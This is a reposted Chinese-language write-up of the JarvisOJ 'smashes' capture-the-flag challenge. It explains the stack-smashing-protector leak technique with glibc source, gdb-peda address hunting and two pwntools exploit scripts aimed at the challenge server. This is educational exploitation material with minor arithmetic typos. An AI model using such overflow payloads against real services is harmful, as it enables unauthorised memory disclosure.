JarvisOJ PWN smashes WP

Smashes

涉及到一些新的知識,以下爲轉載大佬的一篇博客:

這道題利用是保護機制本身的一種漏洞:

在程序加了canary保護之後,如果我們讀取的buffer覆蓋了對應的值時,程序就會報錯,而一般來說我們並不會關心報錯信息。
而stack smash技巧則就是利用打印這一信息的程序來得到我們想要的內容。
這是因爲在程序發現canary保護之後,如果發現canary被修改的話,程序就會執行__stack_chk_fail函數來打印argv[0]指針所指向的字符串,正常情況下,這個指針指向了程序名。
其代碼如下

 

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以說如果我們利用棧溢出覆蓋argv[0]爲我們想要輸出的字符串的地址,那麼在__fortify_fail函數中就會輸出我們想要的信息。

總結成一句就是,利用溢出造成報錯從而打印出報錯信息,使報錯信息指向我們想泄漏的地址
要解決這道題,我們首先要找到argv[0]的地址
將斷點設置在main函數,

 

0000| 0x7fffffffdcf8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:   mov    edi,eax)
0008| 0x7fffffffdd00 --> 0x0 
0016| 0x7fffffffdd08 --> 0x7fffffffddd8 --> 0x7fffffffe199 ("/home/zeref/桌面/ctf-pwn-OJ練習題/smashes")
0024| 0x7fffffffdd10 --> 0x100000000 
0032| 0x7fffffffdd18 --> 0x4006d0 (sub    rsp,0x8)
0040| 0x7fffffffdd20 --> 0x0 
0048| 0x7fffffffdd28 --> 0xb7e5e31690436a43 
0056| 0x7fffffffdd30 --> 0x4006ee (xor    ebp,ebp)

可以看出0x7fffffffe199指向程序名,其自然就是argv[0],所以我們修改的內容就是這個地址。
同時00x7fffffffddd8處保留着該地址,所以我們真正需要的地址是0x7fffffffddd8

接着我們需要找到棧頂到這個argv[0]的偏移,從而方便我們計算出需要填充的字符個數

將第二個斷點設在調用__IO_gets之前(輸入name變量之前)

 

Breakpoint 2, 0x000000000040080e in ?? ()
gdb-peda$ print $rsp
$1 = (void *) 0x7fffffffdbc0

可以得到此時的rsp爲0x7fffffffdbc0
那麼我們的rsp到argv[0]的偏移就是:
0x7fffffffddd - 0x7fffffffdbc0 = 0x218

然後我們就需要找到flag所在的地址了,因此需要把斷點設置在執行這條彙編之前
.text:0000000000400873 call _memset

 

gdb-peda$ b *0x000400873
Breakpoint 1 at 0x400873
gdb-peda$ r
Starting program: /home/zeref/桌面/ctf-pwn-OJ練習題/smashes 
Hello!
What's your name? qqqqqqqqq  
Nice to meet you, qqqqqqqqq.
Please overwrite the flag: aaaaaaaaaa

然後通過find命令去找flag的地址:

 

Breakpoint 1, 0x0000000000400873 in ?? ()
gdb-peda$ find qqqqq
Searching for 'qqqqq' in: None ranges
Found 2 results, display max 2 items:
[stack] : 0x7fffffffb532 ("qqqqqqqqq.\nPlease overwrite the flag: ")
[stack] : 0x7fffffffdbc0 ("qqqqqqqqq")
gdb-peda$ find aaaaaaa
Searching for 'aaaaaaa' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x600d20 ("aaaaaaaaaas the flag on server}")
 [heap] : 0x601010 ("aaaaaaaaaa\n")
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 1 results, display max 1 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")

可以看到,0x600d20的地方已經被aaaa所覆蓋,而0x400d20的地方仍然是“PCTF{Here's the flag on server}”
說明這個地方是不會受影響的,而這個地址就是我們希望可以被報錯輸出的flag

exp如下:

 

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

#p=process('./smash')
p=remote('pwn.jarvisoj.com', 9877)
argv_addr=0x00007fffffffddd8

name_addr=0x7fffffffdbc0
flag_addr=0x600d20 
another_flag_addr=0x400d20 

payload = 'a'*(argv_addr-name_addr) + p64(another_flag_addr)

p.recvuntil('name?')
p.sendline(payload)
p.recvuntil('flag: ')
p.sendline('bb')
data = p.recv()
p.interactive()

其實還有第二種操作
第二種操作更簡單,直接瘋狂填充另一個flag的地址,暴力地把argv[0]的填爲另一個flag的所在地址:

 

from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()



作者:23R3F
鏈接:https://www.jianshu.com/p/6afc68389901
來源:簡書
著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。

 

參考鏈接:https://blog.csdn.net/github_36788573/article/details/80693994
https://www.jianshu.com/p/76b7d51b20fc


收貨:SSP(Stack Smashes Protect) leak 指路鏈接:https://www.jianshu.com/p/b0b254b94afe

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章